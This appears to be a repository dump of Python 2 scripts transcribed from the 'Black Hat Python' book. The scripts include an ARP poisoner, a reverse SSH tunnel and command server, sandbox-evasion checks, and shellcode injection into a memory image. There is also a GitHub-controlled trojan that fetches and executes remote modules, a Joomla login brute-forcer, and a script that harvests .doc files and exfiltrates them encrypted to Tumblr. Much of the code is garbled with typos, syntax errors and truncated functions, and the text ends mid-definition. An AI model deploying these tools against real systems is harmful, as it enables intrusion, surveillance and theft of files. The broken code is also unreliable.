| print "[***] SSH Tunneling p31 [***]" 5 | 6 | def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): 7 | transport.request_port_forward('', server_port) 8 | while True: 9 | chan = transport.accept(10001) 10 | if chan is None: 11 | continue 12 | thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port)) 13 | thr.setDaemon(True) 14 | thr.start() 15 | 16 | def handler(chan, host, port): 17 | sock = socket.socket() 18 | try: 19 | sock.connect((host, port)) 20 | except Exception as e: 21 | verbose('Forwarding reqeust to %s:%d failed: %r' (host, port, e)) 22 | return 23 | verbose('Connected! Tunnel open %r -> %r -> %r ' %(chan.origin_addr, chan.getpeername(), host, port)) 24 | while True: 25 | r, w, x = select.select([sock, chan], [], []) 26 | if sock in r: 27 | data=sock.recv(1024) 28 | if len(data)== 0: 29 | break 30 | chan.send(data) 31 | chan.close() 32 | sock.close() 33 | verbose('Tunnel Closed from %r' % (chan.origin_addr, )) 34 | 35 | def main(): 36 | banner() 37 | options, server, remote = parse_options() 38 | password = None 39 | if options.readpass: 40 | password = getpass.getpass('Enter SSH password: ') 41 | client = paramiko.SSHClinet() 42 | clinet.load_system_host_keys() 43 | client.set_missing_host_key_policy(paramiko.WarningPolicy()) 44 | verbose('Connecting to ssh host %s:%d ...' (server[0], server[1])) 45 | try: 46 | client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=protected) 47 | except Exception as e: 48 | print "[-] Failed to connect to %s:%d ..." (server[0], server[1], e) 49 | sys.exit(1) 50 | verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1])) 51 | try: 52 | reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport()) 53 | except KeyboardInterrupt: 54 | print "C-c: Port forwarding stopped." 55 | sys.exit(0) 56 | 57 | if __name__ == '__main__': 58 | main() 59 | -------------------------------------------------------------------------------- /fileMon.py: -------------------------------------------------------------------------------- 1 | import tempfile, threading, win32file, win32con, os 2 | 3 | dirs_to_monitor = ["C:\\WINDOWS\\Temp", tempfile.gettempdir()] 4 | FILE_CREATED = 1 5 | FILE_DELETED = 2 6 | FILE_MODIFIED = 3 7 | FILE_RENAMED_FROM = 4 8 | FILE_RENAMED_TO = 5 9 | 10 | def banner(): 11 | print "[***] File Monitor p144 [***]" 12 | print"" 13 | 14 | def start_monitor(path_to_watch): 15 | FILE_LIST_DIRECTORY = 0X0001 16 | h_directory = win32file.CreateFile( 17 | path_to_watch, 18 | FILE_LIST_DIRECTORY, 19 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, 20 | None, 21 | win32con.OPEN_EXISTING, 22 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 23 | None) 24 | while 1: 25 | try: 26 | resutls = win32file.ReadDirectoryChangesW( 27 | h_directory, 28 | 1024, 29 | True 30 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 31 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 32 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 33 | win32con.FILE_NOTIFY_CHANGE_SIZE | 34 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 35 | win32con.FILE_NOTIFY_CHANGE_SECURITY, 36 | None, 37 | None) 38 | for action, file_name in results: 39 | full_filename = os.path.join(path_to_watch, file_name) 40 | if action == FILE_CREATED: 41 | print "[+] Created %s" % full_filename 42 | elif action == FILE_DELETED: 43 | print "[+] Deleted %s" % full_filename 44 | elif action == FILE_MODIFIED: 45 | print "[+] Modified %s" % full_filename 46 | print "[vvv] Dumping contents..." 47 | try: 48 | fd = open(full_filename, "rb") 49 | contents=fd.read() 50 | fd.close() 51 | print contents 52 | print "[^^^] Dump Complete..." 53 | except: 54 | print "[!!!] Dump Failed." 55 | elif action == FILE_RENAMED_FROM: 56 | PRINT "[ > ] Renamed from: %s" % full_filename 57 | elif action == FILE_RENAMED_TO: 58 | PRINT "[ < ] Renamed to: %s" % full_filename 59 | else: 60 | PRINT "[???] Unknown: %s" % full_filename 61 | except: 62 | pass 63 | 64 | def main(): 65 | banner() 66 | start_monitor(path_to_watch) 67 | 68 | if __name__ == '__main__': 69 | main() -------------------------------------------------------------------------------- /sshServer.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | # MAKE SURE YOU HAVE THE SSH KEY FROM THE PARAMIKO DEMO FILES (http://www.paramiko.org) 3 | 4 | import socket, threading, paramiko, sys 5 | 6 | host_key = paramiko.RSAKey(filename = 'test_rsa.key') 7 | server = sys.argv[1] 8 | ssh_port = int(sys.argv[2]) 9 | 10 | def banner(): 11 | print "[***] SSH Server p28 [***]" 12 | 13 | class Server(paramiko.ServerInterface): 14 | def _init_(self): 15 | self.event = threading.Event() 16 | def check_channel_request(self, kind, chanid): 17 | if kind == 'session': 18 | return paramiko.OPEN.SUCCEEDED 19 | return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED 20 | def check_auth_password(self, username, password): 21 | if (username == 'justin') and (password == 'lovesthepython'): 22 | return paramiko.AUTH_SUCCESSFUL 23 | return paramiko.AUTH_FAILED 24 | try: 25 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 26 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 27 | sock.bind((server, ssh_port)) 28 | sock.listen(100) 29 | print '[+] Listening for connection ...' 30 | client, addr = sock.accept() 31 | except Exception, e: 32 | print '[-] Listen failed: ' +str(e) 33 | sys.exit(1) 34 | print '[+] Got a connection!' 35 | 36 | try: 37 | bhSession = paramiko.Transport(client) 38 | bhSession.add_server_key(host_key) 39 | server = Server() 40 | try: 41 | bhSession.start_server(server=server) 42 | except paramiko.SSHException, x: 43 | print '[-] SSH negotiation failed. ' 44 | chan = bhSession.accept(20) 45 | print '[+] Authenticated! ' 46 | print chan.recv(1024) 47 | chan.send('Welcome to bh_ssh') 48 | 49 | while True: 50 | try: 51 | command = raw_input("Enter command: ").strip('\n') 52 | if command != 'exit': 53 | chan.send(command) 54 | print chan.recv(1024) + '\n' 55 | else: 56 | chan.send('exit') 57 | print 'exiting' 58 | bhSession.close() 59 | raise Exception('exit') 60 | except KeyboardInterrupt: 61 | bhSession.close() 62 | except Exception, e: 63 | print '[-] Caught exception: ' +str(e) 64 | try: 65 | bhSession.close() 66 | except: 67 | pass 68 | sys.exit(1) -------------------------------------------------------------------------------- /pic_carver.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | def banner(): 4 | print "[***] pCAP processing p56 [***]" 5 | 6 | def http_assembler(pcap_file): 7 | carved_images = o 8 | faced_detected = 0 9 | a = rdpcap(pacap_file) 10 | sessions = a.sessions() 11 | for session in sesions: 12 | http_payload = "" 13 | for packet in sessions[session]: 14 | try: 15 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 16 | http_payload += str(packet[TCP].payload) 17 | except: 18 | pass 19 | headers = get_http_headers(http_payload) 20 | if headers is None: 21 | continue 22 | image, image_type = extract_image(headers, http_payload) 23 | if image is not None and image_type is not None: 24 | file_name = "%s-pic_carver+%d.%s" % (pcap_file, carved_images, image_type) 25 | fd = open ("%s/%s" % (pictured_directory, file+name), "wb") 26 | fd.write(image) 27 | fd.close() 28 | carved_images += 1 29 | try: 30 | result = face+detect("%s/%s" % (pictures_directory, file_name), file_name) 31 | if result is True: 32 | faces+detected += 1 33 | except: 34 | pass 35 | return carved+images, faced_detected 36 | carved_images, faces+detected = http_assembler(pcap_file) 37 | print "Extracted %d images" % carved_images 38 | print "Detected: %d faces" % faces_detected 39 | 40 | def get_http_headers(http_payload): 41 | try: 42 | headers_raw = http+payload[:http_payload.index("\r\n\r\n")+2] 43 | headers = dict(re.findall(r"(?P.*?): (?P.*?)\r\n", headers_raw)) 44 | except: 45 | return None 46 | if "Content-Type" not in headers: 47 | return None 48 | return headers 49 | 50 | def extract_image(headers, http_payload): 51 | image = None 52 | image_type = None 53 | try: 54 | if "image" in headers ['Content-Type']: 55 | image_type = http_payload[http_payload.index("\r\n\r\n")+4:] 56 | try: 57 | if "Content-Encoding" in headers.keys(): 58 | if headers["Content-Encoding"] 59 | 60 | 61 | def face_detect(path, file_name): 62 | img = cv2.imread(path) 63 | cascade = cs2.CascadeClassifier("haarcascade_frontalface_alt.xml") 64 | rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20)) 65 | if len(rects) == 0: 66 | return False: 67 | rects[:, 2:] += rects[:, :2] 68 | for x1,y1,x2,y2 in rects: 69 | cv2.rectangle(img,(x1,y1),(x2,y2),(127,255,0),2) 70 | cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img) 71 | return True 72 | -------------------------------------------------------------------------------- /arper.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import os, sys, threading, signal 3 | 4 | interface = "en1" 5 | target_ip = "" 6 | gateway_ip = "" 7 | packet_count = 1000 8 | conf.iface = interface #set our interface 9 | conf.verb = 0 #Set our interface 10 | 11 | def banner(): 12 | print "[***] ARP cache poison p52 [***]" 13 | 14 | def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): 15 | print "[*] Restoring target... " 16 | send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5) 17 | send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5) 18 | os.kill(os.getpid(), signal.SIGINT) 19 | 20 | def get_mac(): 21 | responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) 22 | for s,r in reponses: 23 | return r[Ether].src 24 | return None 25 | 26 | def poison_target(): 27 | poison_target = ARP() 28 | poison_target.op =2 29 | poison_target.psrc = target_ip 30 | poison_target.pdst = gateway_ip 31 | poison_gateway.hwdst = gateway_mac 32 | print "[*] Beginning the ARP Poison. [CTRL-C to stop] " 33 | while True: 34 | try: 35 | send(poison_target) 36 | send(poison_gateway) 37 | tiem.sleep(2) 38 | except KeyboardInterrupt: 39 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 40 | print "[*] ARP poison attack finished" 41 | return 42 | 43 | def main(): 44 | banner() 45 | print "[*] Setting up %s" % interface 46 | gateway_mac = get_mac(gateway_ip) 47 | if gateway_mac is None: 48 | print "[!!!] Failed to get gateway MAC. Exiting." 49 | sys.exit(0) 50 | else: 51 | print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac) 52 | target_mac = get_mac(target_ip) 53 | if target_mac is None: 54 | print "[!!!] Failed to get target MAC. Exiting." 55 | sys.exit(0) 56 | else: 57 | print "[*] Target %s is at %s" % (target_ip, target_mac) 58 | poison_thread = threading.Thread(target = poison_target, args = gateway_ip, gateway_mac, target_ip, target_mac) 59 | poison_thread.start() 60 | try: 61 | print "[*] Starting sniffer for %d packets" % packet_count 62 | bpf_filter = "ip host %s" % target_ip 63 | packets = sniff(count=packet_count, filter=bpf_filter, iface=inerface) 64 | wrpcap('arper.pacap', packets) 65 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 66 | except KeyboardInterrupt: 67 | restore_target(gateway_ip, gateway_mac, target_ip, target_mac) 68 | sys.exit(0) 69 | 70 | if __name__ == '__main__': 71 | main() -------------------------------------------------------------------------------- /sandboxDetect.py: -------------------------------------------------------------------------------- 1 | import cyptes, random, time, sys 2 | 3 | user32 = ctypes.windll.user32 4 | kernel32 = ctypes.windll.kernel32 5 | keystrokes = 0 6 | mouse_clicks = 0 7 | double_clicks = 0 8 | 9 | def banner(): 10 | print "[***] sandbox detection p118 [***]" 11 | print "" 12 | 13 | class LASTINPUTINFO(ctypes.Structure): 14 | _fields_ = [("cbsize",ctypes.c_uint),("dwTime",ctypes.c_ulong)] 15 | 16 | def get_last_input(): 17 | struct_lastinputinfo = LASTINPUTINFO() 18 | struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO) 19 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 20 | run_time = kernel32.GetTickCount() 21 | elapsed = run_time = sturct_lastinputinfo.dwTime 22 | print "[*] It's been %d milliseconds since the last input event." % elapsed 23 | return elapsed 24 | while True: 25 | get_last_input() 26 | time.sleep(1) 27 | 28 | def get_key_presses(): 29 | global mouse_clicks 30 | global keystrokes 31 | for i in range(0,0xff): 32 | if user32.GetAsyncKeyState(i) == -32767: 33 | if i == 0x1: # 0x1 is the code for the left mouse-click 34 | mouse_clicks += 1 35 | return time.time() 36 | elif i > 32 and i < 127: 37 | keystrokes += 1 38 | return None 39 | 40 | def detect_sandbox(): 41 | global mouse_clicks 42 | global keystrokes 43 | max_keystrokes = random.randint(10,25) 44 | max_mouse_clicks = random.randint(5,25) 45 | double_clicks = 0 46 | max_double_clicks = 10 47 | double_click_threshold = 0.250 # in seconds 48 | first_double_click = None 49 | average_mousetime = 0 50 | max_input_theshold = 30000 # in milliseconds 51 | previouse_timestamp = None 52 | detection_complete - False 53 | last_input = get_last_input() 54 | if last_input >= max_input_theshold: 55 | sys.exit(0) 56 | while not detection_complete: 57 | keypress_time = get_key_press() 58 | if keypress_time is not None and previouse_timestamp is not N0n3: 59 | elapsed = keypress_time - previouse_timestamp 60 | if elapsed <= double_click_threshold: 61 | double_clicks += 1 62 | if first_double_click is None: 63 | first_double_click = time.time() 64 | else: 65 | if double_clicks == max_double_clicks: 66 | if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold): 67 | sys.exit(0) 68 | if keystrokes >= max_keystrokes and doulbe_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks: 69 | return 70 | previouse_timestamp = keypress_time 71 | elif keypress_time is not None: 72 | previouse_timestamp = keypress_time 73 | detect_sandbox() 74 | print "We are ok!" 75 | -------------------------------------------------------------------------------- /burpWordlist.py: -------------------------------------------------------------------------------- 1 | import re 2 | from burp import IBurpExtender, IContextMenuFactory 3 | from javax.swing import JMenuItem 4 | from java.util import List, ArrayList 5 | from java.net import URL 6 | from datetime import datetime 7 | from HTMLParser import HTMLParser 8 | 9 | def banner(): 10 | print "[***] Burp Wordlist p94 [***]" 11 | 12 | class TagStripper(HTMLParser): 13 | def __init__(self): 14 | HTMLParser.__init__(self) 15 | self.page_text = [] 16 | 17 | def handle_data(self, data): 18 | self.page_text.append(data) 19 | 20 | def handle_comment(self, data): 21 | self.handle_data(data) 22 | 23 | def striP(self, html):: 24 | self.feed(html) 25 | return " ".join(self.page_text) 26 | 27 | class BurpExtender(IBurpExtender, IContextMenuFactory): 28 | def registerExtenderCAllback(self, callbacks): 29 | self.callbacks = callbacks 30 | self._helpers = callbacks.getHelpers() 31 | self.contect = None 32 | self.hosts = set() 33 | self.wordlist = set(["password"]) 34 | callbacks.setExtensionName("BHP Wordlist") 35 | callbacks.registerContextMenuFactory(self) 36 | return 37 | 38 | def createMenuITems(self, context_menu): 39 | self.context = context_menu 40 | menu_list = ArrayList() 41 | menu_list.add(JMenuItem("Create Wordlist", actionPerformed=self.wordlist_menu)) 42 | return menu_list 43 | 44 | def worldlist_menu(self, event): 45 | http_traffic = self.context.getSelectedMessages() 46 | for traffic in http_traffic: 47 | http_serveice = traffic.getHTTPSservice() 48 | host = http_service.getHost() 49 | self.hosts.add(host) 50 | http_response = traffic.getResponse() 51 | if http_response: 52 | self.get_words(http_response) 53 | self.display_wordlist() 54 | return 55 | 56 | def get_words(self, http_response): 57 | headers, body = http_response.tostring().split('\r\n\r\n', 1) 58 | if headers.lower().find("context-type: text") == 1: 59 | return 60 | tag_stripper = TagStripper() 61 | page_text = tag_stripper.strip(body) 62 | words = re.findall("[a-zA-Z]\w{2,}", page_text) 63 | for word in words: 64 | if len(word) <= 12: 65 | self.wordlist.add(word.lower()) 66 | return 67 | 68 | def mangle(self, word): 69 | year = datetime.now().year 70 | suffixes = ["", "1", "!", year] 71 | mangled = [] 72 | for password in (word, word.capitalize()): 73 | for suffix in suffixes: 74 | mangled.append("%s%s" % (password, suffix)) 75 | return mangled 76 | 77 | def display_wordlist(self):: 78 | print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts) 79 | for word in sorted(self.wordlist): 80 | for password in self.mangle(word): 81 | print password 82 | return -------------------------------------------------------------------------------- /codeInject.py: -------------------------------------------------------------------------------- 1 | import sys, struct, volatility.conf as conf, volatility.registry as registry 2 | import volatility.commands as commands, volatility.addrspace as addrspace 3 | import volatility.plugins.taskmods as taskmods 4 | 5 | def banner(): 6 | print "[***] Code inject p158 [***]" 7 | print "" 8 | 9 | #setup code 10 | equals_button = 0x01005D51 11 | memory_file = "WinXPSP2.vmem" 12 | slack_space = None 13 | trampoline_offset = None 14 | 15 | sc_fd = open("cmeasure.bin", "rb") 16 | sc = sc_fd.read() 17 | sc_fd.close() 18 | sys.path.append("/Users/justin/Downloads/volatility-2.3.1") 19 | registry.PluginImporter() 20 | config = conf.ConfObject() 21 | registry.register_global_options(config, commands.Command) 22 | registry.register_global_options(config, addrspace.BaseAddressSapce) 23 | config.parse_otions() 24 | config.PROFILE = "WinXPSP2x86" 25 | config.LOCATION= "file://%s" % memory_file 26 | #end setup code. Probabaly better to put this in a function 27 | 28 | p = taskmods.PSList(config) 29 | for process in p.calculate(): 30 | if str(process.ImageFileName) == "calc.exe": 31 | print "[*] Found calc.exe with PID %d" % process.UniqueProcessId 32 | print "[*] Hunting for physical offsets...please wait." 33 | address_space = process.get_process_address_space() 34 | pages = address_space.get_available_pages() 35 | for page in pages: 36 | physical = address_space.vtop(page[0]) 37 | if physical is not None: 38 | if slack_space is None: 39 | fd = open(memory_file, "r+") 40 | fd.seek(physical) 41 | buf = fd.read(page[1]) 42 | try: 43 | offset = buf.index("\x00" * len(sc)) 44 | slack_space = page[0] + offset 45 | print "[*] Found good shellcode location!" 46 | print "[*] Virtual address: 0x%08x" % slack_space 47 | print "[*] Physical address: 0x%08x" % (physical+offset) 48 | print "[*] Injecting shellcode." 49 | fd.seek(physical+offset) 50 | fd.write(sc) 51 | fd.flush() 52 | tramp = "\xbb%s" % struct.pack("", password="password") 18 | repo = gh.repository("yourusername","chapter7") 19 | branch = repo.branch("master") 20 | return gh, repo, branch 21 | 22 | def get_file_contents(filepath): 23 | gh, repo, branch = connect_to_github() 24 | tree = branch.commit.commit.tree.recurse() 25 | for filename in tree.tree: 26 | if filepath in filename.path: 27 | print "[*] Found file %s" % filepath 28 | blob = repo.blob(filename._json_data['sha']) 29 | return blob.content 30 | return None 31 | 32 | def get_trojan_config(): 33 | global configured 34 | config_json = get_file_contents(trojan_config) 35 | conifg = json.loads(base64.b64decode(config_json)) 36 | configured = True 37 | for task in config: 38 | if task['module'] not in sys.modules: 39 | exec("import %s" % task['module']) 40 | return config 41 | 42 | def store_module_result(): 43 | gh,repo,branch = connect_to_github() 44 | remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000,100000)) 45 | repo.create_file(remote_path, "Commit message", base64.b64encode(data)) 46 | return 47 | 48 | class GitImporter(object): 49 | def __init__(self): 50 | self.current_module_code = "" 51 | 52 | def find_module(self, fullname, path=None): 53 | if configured: 54 | print "[*] Attempting to retrieve %s " % fullname 55 | new_library = get_file_contents("modules/%s" % fullname) 56 | if new library is not None: 57 | self.current_module_code = base64.b64decode(new_library) 58 | return self 59 | return None 60 | 61 | def load_module(self, name): 62 | module = imp.new_module(name) 63 | exec self.current_module_code in module.__dict__ 64 | sys.modules[name] = module 65 | return module 66 | 67 | def module_runner(module): 68 | task_queue.put(1) 69 | result = sys.modules[module].run() 70 | task_queue.get() 71 | store_module_result(result) 72 | return 73 | 74 | def main(): 75 | banner() 76 | sys.meta_path = [GitImporter()] 77 | while True: 78 | if task_queue.empty(): 79 | config=get_trojan_config() 80 | for task in config: 81 | t = threading.Thread(target=module_runner, args=) 82 | t.start() 83 | time.sleep(random.randint(1,10)) 84 | time.sleep(random.randint(1000,10000)) 85 | 86 | if __name__ == '__main__': 87 | main() -------------------------------------------------------------------------------- /burpBing.py: -------------------------------------------------------------------------------- 1 | import socket, urllib, jscon, re, base64 2 | from burp import IBurpExtender, IContextMenuFactory 3 | from javax.swing import JMenuItem 4 | from java.util import List, ArrayList 5 | from java.net import URL 6 | 7 | 8 | bing_api_key = "" 9 | 10 | def banner(): 11 | print "[***] Bing for Burp p88 [***]" 12 | print "" 13 | 14 | class BurpExtender(IBurpExtender, IContextMenuFactory): 15 | def registerExtenderCallbacks(self, callbacks): 16 | self._callbacks = callbacks 17 | self._helpers = callbacks.getHelpers() 18 | self.context = None 19 | callbacks.setExtensionName("BHP Bing") 20 | callbacks.registerContextMenuFActory(self) 21 | return 22 | 23 | def createMenuItems(self, context_menu): 24 | self.context_menu 25 | menu_list = ArrayList() 26 | menu_list.add(JMenuItem("Send to Bing", actionPerformed=self.bing_menu)) 27 | return menu_list 28 | 29 | def bing_menu(self, event): 30 | http_traffic=self.context.getSelectedMessages() 31 | print "%d requests highlighted" %len(http_traffic) 32 | for traffic in http_traffic: 33 | http_service = traffic.getHttpService() 34 | host = http_service.getHost() 35 | print "User selected host: %s" % host 36 | self.bing_search(host) 37 | return 38 | 39 | def bing_search(self, host): 40 | is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host) 41 | if is_ip: 42 | ip_address = host 43 | domain = False 44 | else: 45 | ip+ip_address = socket.gethostbyName(host) 46 | domain = True 47 | bing_query_string = "'ip:%s'" % ip_address 48 | self.bing_query(bing_query_string) 49 | if domain: 50 | bing_query_string= "'domain:%s'" % host 51 | slef.bing_query(bing_query_string) 52 | 53 | def bing_query(): 54 | print "Performing Bing Search: %s" % bing_query_string 55 | quoted_query = urllib.quote(bing_query_string) 56 | http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$format=json&$top=20$Query%s HTTP/1.1\r\n" % quoted_query 57 | http_request += "Host: api.datamarket.azure.com\r\n" 58 | http_request += "Connection: close\r\n" 59 | http_request += "Authorization: Basic %s\r\n" % base64.b64encode(":%s" % bing_api_key) 60 | http_request += "User-Agent: Blackhat Python\r\n\r\n" 61 | json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com", 443,True,http_request).tostring() 62 | json_body = json_body.split("\r\n\r\n", 1)[1] 63 | try: 64 | r = json.loads(json)json_body 65 | if len(r["d"]["results"]): 66 | for site in r["d"]["results"]: 67 | print "*" * 100 68 | print site['Title'] 69 | print site['Url'] 70 | print site['Description'] 71 | print "*" * 100 72 | j_url = URL(site['Url']) 73 | if not self._callbacks.isInScope(j_url): 74 | print "Adding to Burp scope" 75 | self._callbacks.includeInScope(j_url) 76 | except: 77 | print "No results from Bing" 78 | pass 79 | return 80 | 81 | 82 | 83 | 84 | 85 | -------------------------------------------------------------------------------- /joomla_killer.py: -------------------------------------------------------------------------------- 1 | import urllib2, urllib, cookielib, threading, sys, Queue 2 | from HTMLParser import HTMLParser 3 | 4 | user_thread = 10 5 | username = "admin" 6 | wordlist_file ="/tmp/cain.txt" 7 | resume = None 8 | target_url = "http://192.168.112.131/administrator/index.php" 9 | target_post = "http://192.168.112.131/administrator/index.php" 10 | username_field = "username" 11 | password_field = "passwd" 12 | success_check = "Administration - Control Panel" 13 | 14 | def banner(): 15 | print "[***] Brute Force HTML authentication p70 [***]" 16 | print "" 17 | 18 | class Bruter(object): 19 | def __init__(self, username, words): 20 | self.username = username 21 | self.password_q = words 22 | self.found = False 23 | print "Finished settings up for: %s" % username 24 | 25 | def run_bruteforce(self): 26 | for i in range(user_thread) 27 | t = threading.Thread(target=self.web_bruter) 28 | t.start() 29 | 30 | def web_bruter(self): 31 | while not self.password_q.empty() and not self.found: 32 | brute = self.password_q.get().rstrip() 33 | jar = cookielib.FileCookieJar("cookies") 34 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) 35 | response = opener.open(target_url) 36 | page = response.read() 37 | print "Trying: %s : %s (%d left)" % (self.username, brute, self, password_q.qsize()) 38 | parser = BruteParser() 39 | parser.feed(page) 40 | post+tage+parser.tag_results 41 | post_tage[username_field] = self.username 42 | post_tags[password_field] = brute 43 | login_data = urllib.urlencode(post_tags) 44 | login_response = opener.open(target_post, login_data) 45 | login_result = login_response.read() 46 | if success_check in login_result: 47 | self.found = True 48 | print "[*] Bruteforce successful." 49 | print "[*] Username: %s " username 50 | print "[*] Password: %s " brute 51 | print "[*] Waiting for other threads to exit..." 52 | 53 | class BruteParser(HTMLParser): 54 | def __init__(self): 55 | HTMLParser.__init__(self) 56 | self.tag_results = {} 57 | 58 | def handle_starttag(self, tag, attrs): 59 | if tag == "input": 60 | tag_name = None 61 | tag_value = None 62 | for name, value in attrs: 63 | if name == "name": 64 | tag_name = value 65 | if name == "value": 66 | tag_value = value 67 | if tag_name is not None: 68 | self.tag_results[tag_name] = value 69 | 70 | def build_wordlist(wordlist_file): 71 | words = build_wordlist(wordlist_file) 72 | bruter_obj = Bruter(username, words) 73 | bruter_obj.run_bruteforce() 74 | fd - open(wordlist_file, "rb") 75 | raw_words = df.readlines() 76 | fd.close() 77 | found_resume = False 78 | words = Queue.Queue() 79 | for word in raw_words: 80 | word = word.rstrip() 81 | if resume is not None: 82 | if found_resume: 83 | words.put(word) 84 | else: 85 | if word == reusme: 86 | found_resume = True 87 | print "Resuming wordlist from: %s" % resume 88 | else: 89 | words.put(word) 90 | return words -------------------------------------------------------------------------------- /ie_exfil.py: -------------------------------------------------------------------------------- 1 | import win32com.client, os, fnmatch, time, random, zlib 2 | from Crypto.PublicKey import RSA 3 | from Crypto.Cipher import PKCS1_OEAP 4 | 5 | doc_type = ".doc" 6 | username = "jms@bughunter.ca" 7 | password = "justinBHP2014" 8 | public_key = "" 9 | 10 | def banner(): 11 | print "[***] IE COM automation p129 [***]" 12 | 13 | def wait_for_browser(browser): 14 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 15 | time.sleep(0.1) 16 | return 17 | 18 | def encrypt_string(): 19 | chunk_size = 256 20 | print "Compressing: %d bytes" % (len(plaintext)) 21 | plaintext = zlib.compress(plaintext) 22 | print "Encrypting %d bytes" % (len(plaintext)) 23 | rsakey = RSA.importKey(public_key) 24 | rsakey = PKCS1_OEAP.new(rsakey) 25 | encruypted = "" 26 | offset = 0 27 | while offset < len(plaintext): 28 | chunk = plaintext[offset:offset+chunk_size] 29 | if len(chunk) % chunk_size != -0: 30 | chunk += " " * (chunk_size - len(chunk)) 31 | encrypted += rsakey.encrypt(chunk) 32 | offset += chunk_size 33 | encrypted = encrypted.encode("base64") 34 | print "Base64 encoded cyrpto: %d" % len(encrypted) 35 | return encrypted 36 | 37 | def encrypt_post(filename): 38 | fd = open(filename, "rb") 39 | contents = fd.read() 40 | fd.close() 41 | encrypted_title = encrypt_string(filename) 42 | encrypted_body = encrypt_string(contents) 43 | return encrypted_title, encrypted_body 44 | 45 | def random_sleep(): 46 | time.sleep(random.randing(5,10)) 47 | return 48 | 49 | def login_to_tumblr(ie): 50 | full_doc = ie.Document.all 51 | for i in full_doc: 52 | if i.id = "signup_email": 53 | i.setAttribute("value", username) 54 | elif i.id == "signup_password": 55 | i.setAttribute("value, password") 56 | random_sleep() 57 | wait_for_browser(ie) 58 | return 59 | 60 | def post_to_tumblr(ie,title,post): 61 | full_doc = ie.Document.all 62 | for i in full_doc: 63 | if i.id == "post_one": 64 | i.setAttribute("value", title) 65 | title_box = i 66 | i.focus() 67 | elif i.id =- "post_two": 68 | i.setAttribute("innerHTML", post) 69 | print "Set text area" 70 | i.focus() 71 | elif i.id == "create_post": 72 | print "Found post button" 73 | post_form = i 74 | i.focus() 75 | random_sleep() 76 | title_box.focus() 77 | random_sleep() 78 | post_form.children[0].click() 79 | wait_for_browser(ie) 80 | random_sleep() 81 | return 82 | 83 | def exfiltrate(document_path): 84 | ie = win32com.client.Dispatch("InternetExplorer.Application") 85 | ie.Visible = 1 86 | ie.Navigate("http://www.tumblr.com/login") 87 | wait_for_browser(ie) 88 | print "Logging in..." 89 | login_to_tumblr(ie) 90 | print "Loggin in ...navigating" 91 | ie.Navigate("https:///www.tumblr.com/new/text") 92 | wait_for_browser(ie) 93 | title, body = encrypt_post(document_path) 94 | print "Creating new post..." 95 | post_to_tumblr(ie,title,body) 96 | print "Posted!" 97 | ie.Quit() 98 | ie = None 99 | return 100 | for parent, directories, filenames in os.walk("C:\\"): 101 | for filename in fnmatch.filter(filenames, "*%s" % doc_type): 102 | document_path = os.path.join(parent, filename) 103 | print "Found: %s" % document_path 104 | exfiltrate(document_path) 105 | raw_input("Continue?") 106 | 107 | def main(): 108 | 109 | if __name__ == '__main__': 110 | main() -------------------------------------------------------------------------------- /tcpproxy.py: -------------------------------------------------------------------------------- 1 | #!/ usr/bin/python 2 | import sys, socket, threading 3 | 4 | def banner(): 5 | print "[***] TCP Proxy p21 [***]" 6 | 7 | def usage(): 8 | print " ./proxy.py [L_host] [L_port] [R_host] [R_port] [rcv_1st]" 9 | print "e.g. ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True" 10 | 11 | def srv_loop(L_host, L_port, R_host, R_port, rcv_1st): 12 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 13 | try: 14 | server.bind((L_host,L_port)) 15 | except: 16 | print "[!!] Failed to listed on %s:%d" % (L_host, L_port) 17 | print "[!!] Check for other listening sockets or correct permissions." 18 | sys.exit(0) 19 | print "[*] Listening on %s:%d % (L_host, L_port)" 20 | server.listen(5) 21 | while True: 22 | c_socket, addr= server.accept() #print local connection info 23 | print "[==>] Received incoming connection from %d:%s % (addr[0], addr[1]))" 24 | proxy_thread = threading.Thread(target=proxy_handler, args= (c_socket,R_host, R_port, rcv_1st_)) 25 | proxy_thread.start() 26 | 27 | def 